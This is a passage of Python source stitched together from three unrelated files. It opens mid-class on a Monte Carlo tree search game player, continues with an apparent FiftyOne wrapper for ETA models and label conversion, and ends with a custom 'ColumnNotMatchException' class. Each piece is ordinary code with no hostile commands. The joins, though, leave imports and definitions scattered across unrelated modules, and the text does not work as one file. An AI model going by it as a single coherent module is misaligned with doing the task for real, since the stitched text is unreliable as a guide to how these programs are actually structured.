        for i in range(1, indent + 1):
            s += '| '

        return s

    def ChildrenToString(self):
        s = ''
        for c in self.children:
            s += str(c) + '\n'

        return s

def think(rootstate, quip):
    rollouts = 0
    who = rootstate.get_whos_turn()
    range = {'blue': 'red',
     'red': 'blue'}
    rootnode = Node(state=rootstate, last=range[who])
    now = datetime.datetime.now()
    while True:
        node = rootnode
        state = rootstate.copy()

        # Select
        while node.untriedMoves == [] and node.children != []:
            node = node.UCTSelectChild()
            state.apply_move(node.move)

        # Expand
        if node.untriedMoves != []:
            m = random.choice(node.untriedMoves)
            w = state.get_whos_turn()
            state.apply_move(m)
            node = node.AddChild(m, state, last=w)

        # Rollout
        while state.get_moves() != []:
            state.apply_move(random.choice(state.get_moves()))

        # Backpropagate
        score = state.get_score()
        rollouts += 1
        while node != None:
            node_score = score[node.playerJustMoved]
            node.Update(node_score)
            node = node.parentNode

        if datetime.datetime.now() - now > datetime.timedelta(seconds = 1):
            break
    quipText = "UCT rollouts per second: " + str(rollouts)
    quip(quipText)
    return sorted(rootnode.children, key=lambda i: i.visits)[-1].move


from collections import defaultdict
import itertools
import warnings

import numpy as np

import eta.core.data as etad
import eta.core.frames as etaf
import eta.core.image as etai
import eta.core.keypoints as etak
import eta.core.learning as etal
import eta.core.objects as etao
import eta.core.polylines as etap
import eta.core.utils as etau
import eta.core.video as etav

import fiftyone.core.labels as fol
import fiftyone.core.models as fom

class ETAModelConfig(fom.ModelConfig):
    """Meta-config class that encapsulates the configuration of an
    `eta.core.learning.Model` that is to be run via the :class:`ETAModel`
    wrapper.

    Example::

        import fiftyone.core.models as fom

        model = fom.load_model({
            "type": "fiftyone.core.eta_utils.ETAModel",
            "config": {
                "type": "eta.detectors.YOLODetector",
                "config": {
                    "model_name": "yolo-v2-coco"
                }
            }
        })

    Args:
        type: the fully-qualified class name of the
            :class:`fiftyone.core.models.Model` subclass, which must be
            :class:`ETAModel` or a subclass of it
        config: a dict containing the ``eta.core.learning.ModelConfig`` for the
            ETA model
    """

    @property
    def confidence_thresh(self):
        """The confidence threshold of the underlying ``eta.core.model.Model``.

        Note that this may not be defined for some models.
        """
        return self.config.confidence_thresh

    @confidence_thresh.setter
    def confidence_thresh(self, confidence_thresh):
        self.config.confidence_thresh = confidence_thresh

class ETAModel(fom.Model, fom.EmbeddingsMixin, fom.LogitsMixin):
    """Wrapper for running an ``eta.core.learning.Model`` model.

    Args:
        config: an :class:`ETAModelConfig`
    """

    def __init__(self, config, _model=None):
        if _model is None:
            _model = config.build()  # build the ETA model

        self.config = config
        self._model = _model
        fom.LogitsMixin.__init__(self)

    def __enter__(self):
        self._model.__enter__()
        return self

    def __exit__(self, *args):
        self._model.__exit__(*args)

    @property
    def ragged_batches(self):
        try:
            return self._model.ragged_batches
        except AttributeError:
            return True

    @property
    def transforms(self):
        try:
            return self._model.transforms
        except AttributeError:
            return None

    @property
    def preprocess(self):
        try:
            return self._model.preprocess
        except AttributeError:
            return False

    @preprocess.setter
    def preprocess(self, value):
        try:
            self._model.preprocess = value
        except AttributeError:
            pass

    @property
    def has_logits(self):
        return (
            isinstance(self._model, etal.ExposesProbabilities)
            and isinstance(self._model, etal.Classifier)
            and self._model.exposes_probabilities
        )

    @property
    def has_embeddings(self):
        return (
            isinstance(self._model, etal.ExposesFeatures)
            and isinstance(self._model, etal.Classifier)
            and self._model.exposes_features
        )

    def _ensure_embeddings(self):
        if not self.has_embeddings:
            raise ValueError("This model instance does not expose embeddings")

    def get_embeddings(self):
        self._ensure_embeddings()
        embeddings = self._model.get_features()
        embeddings = _squeeze_extra_unit_dims(embeddings)
        return embeddings.astype(float, copy=False)

    def embed(self, arg):
        self._ensure_embeddings()
        self.predict(arg)
        return self.get_embeddings()

    def embed_all(self, args):
        self._ensure_embeddings()

        if isinstance(self._model, etal.ImageClassifier):
            self._model.predict_all(args)
            return self.get_embeddings()

        if isinstance(self._model, etal.ObjectDetector):
            self._model.detect_all(args)
            return self.get_embeddings()

        if isinstance(self._model, etal.ImageSemanticSegmenter):
            self._model.segment_all(args)
            return self.get_embeddings()

        return np.concatenate(tuple(self.embed(arg) for arg in args))

    def predict(self, arg):
        if isinstance(self._model, etal.ImageClassifier):
            eta_labels = self._model.predict(arg)
        elif isinstance(self._model, etal.VideoFramesClassifier):
            eta_labels = self._model.predict(arg)
        elif isinstance(self._model, etal.VideoClassifier):
            eta_labels = self._model.predict(arg)
        elif isinstance(self._model, etal.Classifier):
            eta_labels = self._model.predict(arg)
        elif isinstance(self._model, etal.ObjectDetector):
            eta_labels = self._model.detect(arg)
        elif isinstance(self._model, etal.VideoFramesObjectDetector):
            eta_labels = self._model.detect(arg)
        elif isinstance(self._model, etal.VideoObjectDetector):
            eta_labels = self._model.detect(arg)
        elif isinstance(self._model, etal.Detector):
            eta_labels = self._model.detect(arg)
        elif isinstance(self._model, etal.ImageSemanticSegmenter):
            eta_labels = self._model.segment(arg)
        elif isinstance(self._model, etal.VideoSemanticSegmenter):
            eta_labels = self._model.segment(arg)
        elif isinstance(self._model, etal.SemanticSegmenter):
            eta_labels = self._model.segment(arg)
        elif isinstance(self._model, etal.ImageModel):
            eta_labels = self._model.process(arg)
        elif isinstance(self._model, etal.VideoModel):
            eta_labels = self._model.process(arg)
        else:
            raise ValueError(
                "Unsupported model type '%s'" % self._model.__class__
            )

        eta_labels = self._parse_predictions(eta_labels)

        label = parse_eta_labels(eta_labels)

        if self.has_logits and self.store_logits:
            # num_preds x num_classes
            logits = np.log(self._model.get_probabilities()[0])
            _add_logits(label, logits)

        return label

    def predict_all(self, args):
        if isinstance(self._model, etal.ImageClassifier):
            eta_labels_batch = self._model.predict_all(args)
        elif isinstance(self._model, etal.ObjectDetector):
            eta_labels_batch = self._model.detect_all(args)
        elif isinstance(self._model, etal.ImageSemanticSegmenter):
            eta_labels_batch = self._model.segment_all(args)
        else:
            return [self.predict(arg) for arg in args]

        eta_labels_batch = self._parse_predictions(eta_labels_batch)

        labels = [parse_eta_labels(el) for el in eta_labels_batch]

        if self.has_logits and self.store_logits:
            # num_images x num_preds x num_classes
            logits = np.log(self._model.get_probabilities())

            for label, _logits in zip(labels, logits):
                _add_logits(label, _logits)

        return labels

    def _parse_predictions(self, eta_labels_or_batch):
        if (
            not isinstance(self._model, etal.Classifier)
            or self._model.is_multilabel
        ):
            return eta_labels_or_batch

        if isinstance(eta_labels_or_batch, list):
            return [
                attrs[0] if attrs else None for attrs in eta_labels_or_batch
            ]

        if not eta_labels_or_batch:
            return None

        return eta_labels_or_batch[0]

    @classmethod
    def from_eta_model(cls, model):
        """Builds an :class:`ETAModel` for running the provided
        ``eta.core.learning.Model`` instance.

        Args:
            model: an ``eta.core.learning.Model`` instance

        Returns:
            an :class:`ETAModel`
        """
        return cls(model.config, _model=model)

def parse_eta_labels(eta_labels):
    """Parses the ``eta.core.labels.Labels`` instance and returns the
    corresponding :class:`fiftyone.core.labels.Label` instance(s).

    The table below summarizes the conversions that are performed:

    .. table::

        +-----------------------------------------------+-----------------------------------------------+
        | Input type                                    | Output type                                   |
        +===============================================+===============================================+
        | ``eta.core.data.Attribute``                   | :class:`fiftyone.core.labels.Classification`  |
        +-----------------------------------------------+-----------------------------------------------+
        | ``eta.core.data.AttributeContainer``          | :class:`fiftyone.core.labels.Classifications` |
        +-----------------------------------------------+-----------------------------------------------+
        | ``eta.core.objects.DetectedObject``           | :class:`fiftyone.core.labels.Detection`       |
        +-----------------------------------------------+-----------------------------------------------+
        | ``eta.core.objects.DetectedObjectContainer``  | :class:`fiftyone.core.labels.Detections`      |
        +-----------------------------------------------+-----------------------------------------------+
        | ``eta.core.polylines.Polyline``               | :class:`fiftyone.core.labels.Polyline`        |
        +-----------------------------------------------+-----------------------------------------------+
        | ``eta.core.polylines.PolylineContainer``      | :class:`fiftyone.core.labels.Polylines`       |
        +-----------------------------------------------+-----------------------------------------------+
        | ``eta.core.keypoints.Keypoints``              | :class:`fiftyone.core.labels.Keypoint`        |
        +-----------------------------------------------+-----------------------------------------------+
        | ``eta.core.keypoints.KeypointsContainer``     | :class:`fiftyone.core.labels.Keypoints`       |
        +-----------------------------------------------+-----------------------------------------------+
        | ``np.ndarray``                                | :class:`fiftyone.core.labels.Segmentation`    |
        +-----------------------------------------------+-----------------------------------------------+
        | ``eta.core.image.ImageLabels``                | a dictionary mapping field names to           |
        |                                               | :class:`fiftyone.core.labels.Label` instances |
        +-----------------------------------------------+-----------------------------------------------+
        | ``eta.core.video.VideoLabels``                | a ``frames`` dict mapping frame numbers       |
        |                                               | to dictionaries of frame labels               |
        +-----------------------------------------------+-----------------------------------------------+

    Args:
        eta_labels: an ````eta.core.labels.Labels`` instance

    Returns:
        the FiftyOne labels according to the table above
    """
    if isinstance(eta_labels, etad.AttributeContainer):
        label = fol.Classifications.from_attributes(eta_labels)
    elif isinstance(eta_labels, etad.Attribute):
        label = fol.Classification.from_attribute(eta_labels)
    elif isinstance(eta_labels, etao.DetectedObjectContainer):
        label = fol.Detections.from_detected_objects(eta_labels)
    elif isinstance(eta_labels, etao.DetectedObject):
        label = fol.Detection.from_detected_object(eta_labels)
    elif isinstance(eta_labels, etap.PolylineContainer):
        label = fol.Polylines.from_eta_polylines(eta_labels)
    elif isinstance(eta_labels, etap.Polyline):
        label = fol.Polyline.from_eta_polyline(eta_labels)
    elif isinstance(eta_labels, etak.KeypointsContainer):
        label = fol.Keypoints.from_eta_keypoints(eta_labels)
    elif isinstance(eta_labels, etak.Keypoints):
        label = fol.Keypoint.from_eta_keypoints(eta_labels)
    elif isinstance(eta_labels, etav.VideoLabels):
        label = load_video_labels(eta_labels)
    elif isinstance(eta_labels, etaf.FrameLabels):
        label = load_image_labels(eta_labels)
    elif isinstance(eta_labels, np.ndarray):
        label = fol.Segmentation.from_mask(eta_labels)
    elif eta_labels is None:
        label = None
    else:
        raise ValueError(
            "Unsupported ETA label type '%s'" % eta_labels.__class__
        )

    return label

def load_image_labels(
    image_labels_or_path,
    prefix=None,
    labels_dict=None,
    multilabel=False,
    skip_non_categorical=False,
):
    """Loads the ``eta.core.image.ImageLabels`` or
    ``eta.core.frames.FrameLabels`` into a dictionary of labels.

    Provide ``labels_dict`` if you want to customize which components of
    the labels are expanded. Otherwise, all labels are expanded as
    explained below.

    If ``multilabel`` is False, frame attributes will be stored in separate
    :class:`Classification` fields with names ``prefix + attr.name``.

    If ``multilabel`` if True, all frame attributes will be stored in a
    :class:`Classifications` field called ``prefix + "attributes"``.

    Objects are expanded into fields with names ``prefix + obj.name``, or
    ``prefix + "detections"`` for objects that do not have their ``name``
    field populated.

    Polylines are expanded into fields with names
    ``prefix + polyline.name``, or ``prefix + "polylines"`` for polylines
    that do not have their ``name`` field populated.

    Keypoints are expanded into fields with names
    ``prefix + keypoints.name``, or ``prefix + "keypoints"`` for keypoints
    that do not have their ``name`` field populated.

    Segmentation masks are expanded into a field with name ``prefix + "mask"``.

    Args:
        image_labels_or_path: can be a ``eta.core.image.ImageLabels`` instance,
            a ``eta.core.frames.FrameLabels`` instance, a serialized dict
            representation of either, or the path to either on disk
        prefix (None): a string prefix to prepend to each field name in the
            output dict
        labels_dict (None): a dictionary mapping names of labels to keys to
            assign them in the output dictionary
        multilabel (False): whether to store frame attributes in a single
            :class:`Classifications` instance
        skip_non_categorical (False): whether to skip non-categorical
            frame attributes (True) or cast them to strings (False)

    Returns:
        a dict mapping label names to :class:`fiftyone.core.labels.ImageLabel`
        instances
    """
    if etau.is_str(image_labels_or_path):
        frame_labels = etaf.FrameLabels.from_json(image_labels_or_path)
    elif isinstance(image_labels_or_path, dict):
        frame_labels = etaf.FrameLabels.from_dict(image_labels_or_path)
    else:
        frame_labels = image_labels_or_path

    if frame_labels is None:
        return None

    if labels_dict is not None:
        return _expand_with_labels_dict(
            frame_labels, labels_dict, multilabel, skip_non_categorical
        )

    return _expand_with_prefix(
        frame_labels, prefix, multilabel, skip_non_categorical
    )

def to_image_labels(labels):
    """Converts the image label(s) to ``eta.core.image.ImageLabels`` format.

    Args:
        labels: can be a :class:`fiftyone.core.labels.ImageLabel` instance or
            a dictionary mapping names to
            :class:`fiftyone.core.labels.ImageLabel` instances

    Returns:
        an ``eta.core.image.ImageLabels`` instance
    """
    image_labels = etai.ImageLabels()

    if labels is None:
        return image_labels

    if not isinstance(labels, dict):
        labels = {labels: labels}

    for name, label in labels.items():
        if isinstance(label, fol.ImageLabel):
            image_labels.merge_labels(label.to_image_labels(name=name))
        elif label is not None:
            msg = "Ignoring unsupported label type '%s'" % label.__class__
            warnings.warn(msg)

    return image_labels

def load_video_labels(
    video_labels_or_path,
    prefix=None,
    labels_dict=None,
    multilabel=False,
    skip_non_categorical=False,
):
    """Loads the ``eta.core.video.VideoLabels`` into a frame labels dictionary.

    Args:
        video_labels_or_path: can be a ``eta.core.video.VideoLabels`` instance,
            a serialized dict representation of one, or the path to one on disk
        prefix (None): a string prefix to prepend to each label name in the
            expanded frame label dictionaries
        labels_dict (None): a dictionary mapping names of attributes/objects
            in the frame labels to field names into which to expand them
        multilabel (False): whether to store frame attributes in a single
            :class:`fiftyone.core.labels.Classifications` instance
        skip_non_categorical (False): whether to skip non-categorical frame
            attributes (True) or cast them to strings (False)

    Returns:
        a dictionary mapping frame numbers to dictionaries that map label
        fields to :class:`fiftyone.core.labels.Label` instances for each video
        frame
    """
    if etau.is_str(video_labels_or_path):
        video_labels = etav.VideoLabels.from_json(video_labels_or_path)
    elif isinstance(video_labels_or_path, dict):
        video_labels = etav.VideoLabels.from_dict(video_labels_or_path)
    else:
        video_labels = video_labels_or_path

    if video_labels is None:
        return None

    frames = {}
    for frame_number in video_labels:
        frames[frame_number] = load_image_labels(
            video_labels[frame_number],
            prefix=prefix,
            labels_dict=labels_dict,
            multilabel=multilabel,
            skip_non_categorical=skip_non_categorical,
        )

    return frames

def to_video_labels(frames):
    """Converts the frame labels dictionary to ``eta.core.video.VideoLabels``
    format.

    Args:
        frames: a dictionary mapping frame numbers to
            :class:`fiftyone.core.frame.Frame` instances or dictionaries
            mapping field names to :class:`fiftyone.core.labels.ImageLabel`
            instances

    Returns:
        a ``eta.core.video.VideoLabels`` instance
    """
    video_labels = etav.VideoLabels()

    if frames is None:
        return video_labels

    for frame_number, frame in frames.items():
        video_labels[frame_number] = _to_frame_labels(frame, frame_number)

    return video_labels

def _to_frame_labels(frame, frame_number):
    frame_labels = etav.VideoFrameLabels(frame_number)

    for name, label in frame.items():
        if isinstance(label, fol.ImageLabel):
            frame_labels.merge_labels(label.to_image_labels(name=name))
        elif label is not None:
            msg = "Ignoring unsupported label type '%s'" % label.__class__
            warnings.warn(msg)

    return frame_labels

def _expand_with_prefix(
    frame_labels, prefix, multilabel, skip_non_categorical
):
    if prefix is None:
        prefix = ""

    labels = {}

    #
    # Classifications
    #

    if multilabel:
        # Store frame attributes as multilabels
        # pylint: disable=no-member
        labels[prefix + "attributes"] = fol.Classifications.from_attributes(
            frame_labels.attrs, skip_non_categorical=skip_non_categorical,
        )
    else:
        # Store each frame attribute separately
        for attr in frame_labels.attrs:  # pylint: disable=no-member
            if skip_non_categorical and not etau.is_str(attr.value):
                continue

            labels[prefix + attr.name] = fol.Classification.from_attribute(
                attr
            )

    #
    # Detections
    #

    objects_map = defaultdict(etao.DetectedObjectContainer)

    for dobj in frame_labels.objects:
        objects_map[prefix + (dobj.name or "detections")].add(dobj)

    for name, objects in objects_map.items():
        # pylint: disable=no-member
        labels[name] = fol.Detections.from_detected_objects(objects)

    #
    # Polylines
    #

    polylines_map = defaultdict(etap.PolylineContainer)

    for polyline in frame_labels.polylines:
        polylines_map[prefix + (polyline.name or "polylines")].add(polyline)

    for name, polylines in polylines_map.items():
        # pylint: disable=no-member
        labels[name] = fol.Polylines.from_eta_polylines(polylines)

    #
    # Keypoints
    #

    keypoints_map = defaultdict(etak.KeypointsContainer)

    for keypoints in frame_labels.keypoints:
        keypoints_map[prefix + (keypoints.name or "keypoints")].add(keypoints)

    for name, keypoints in keypoints_map.items():
        # pylint: disable=no-member
        labels[name] = fol.Keypoints.from_eta_keypoints(keypoints)

    #
    # Segmentations
    #

    if frame_labels.has_mask:
        labels[prefix + "mask"] = fol.Segmentation.from_mask(frame_labels.mask)

    return labels

def _expand_with_labels_dict(
    frame_labels, labels_dict, multilabel, skip_non_categorical
):
    labels = {}

    #
    # Classifications
    #

    if multilabel:
        # Store frame attributes as multilabels
        attrs_map = defaultdict(etad.AttributeContainer)
        for attr in frame_labels.attrs:
            if attr.name not in labels_dict:
                continue

            attrs_map[labels_dict[attr.name]].add(attr)

        for name, attrs in attrs_map.items():
            labels[name] = fol.Classifications.from_attributes(
                attrs, skip_non_categorical=skip_non_categorical
            )
    else:
        # Store each frame attribute separately
        for attr in frame_labels.attrs:  # pylint: disable=no-member
            if skip_non_categorical and not etau.is_str(attr.value):
                continue

            if attr.name not in labels_dict:
                continue

            labels[labels_dict[attr.name]] = fol.Classification.from_attribute(
                attr
            )

    #
    # Detections
    #

    objects_map = defaultdict(etao.DetectedObjectContainer)

    for dobj in frame_labels.objects:
        if dobj.name not in labels_dict:
            continue

        objects_map[labels_dict[dobj.name]].add(dobj)

    for name, objects in objects_map.items():
        # pylint: disable=no-member
        labels[name] = fol.Detections.from_detected_objects(objects)

    #
    # Polylines
    #

    polylines_map = defaultdict(etap.PolylineContainer)

    for polyline in frame_labels.polylines:
        if polyline.name not in labels_dict:
            continue

        polylines_map[labels_dict[polyline.name]].add(polyline)

    for name, polylines in polylines_map.items():
        # pylint: disable=no-member
        labels[name] = fol.Polylines.from_eta_polylines(polylines)

    #
    # Keypoints
    #

    keypoints_map = defaultdict(etak.KeypointsContainer)

    for keypoints in frame_labels.keypoints:
        if keypoints.name not in labels_dict:
            continue

        keypoints_map[labels_dict[keypoints.name]].add(keypoints)

    for name, keypoints in keypoints_map.items():
        # pylint: disable=no-member
        labels[name] = fol.Keypoints.from_eta_keypoints(keypoints)

    #
    # Segmentations
    #

    if frame_labels.has_mask and "mask" in labels_dict:
        labels["mask"] = fol.Segmentation.from_mask(frame_labels.mask)

    return labels

def _squeeze_extra_unit_dims(embeddings):
    dims = embeddings.shape[1:]
    extra_axes = tuple(ax for ax, dim in enumerate(dims, 1) if dim == 1)

    if len(extra_axes) == len(dims):
        extra_axes = extra_axes[1:]

    if extra_axes:
        return np.squeeze(embeddings, axis=extra_axes)

    return embeddings

def _add_logits(label, logits):
    if isinstance(label, fol.Classification):
        label.logits = logits[0]
    elif isinstance(label, fol.Classifications):
        for c, l in zip(label.classifications, logits):
            c.logits = l
    elif label is not None:
        msg = "Cannot store logits on label type '%s'" % label.__class__
        warnings.warn(msg)


import json

from exception.engine_exception import EngineException
from exception.exception_code import ExceptionCode

class ColumnNotMatchException(EngineException):
    def __init__(self):
        self.status_code: int = 500
        self.code: str = ExceptionCode.El.COLUMN_NOT_MATCH
        self.message: str = "Column Not Match"
        self.detail: str = json.dumps({"code": self.code, "detail": self.message})
        super().log()

    def __repr__(self) -> str:
        return "ApiException{" + \
               "code='" + self.code + '\'' + \
               ", detail='" + self.message + '\'' + \
               '}'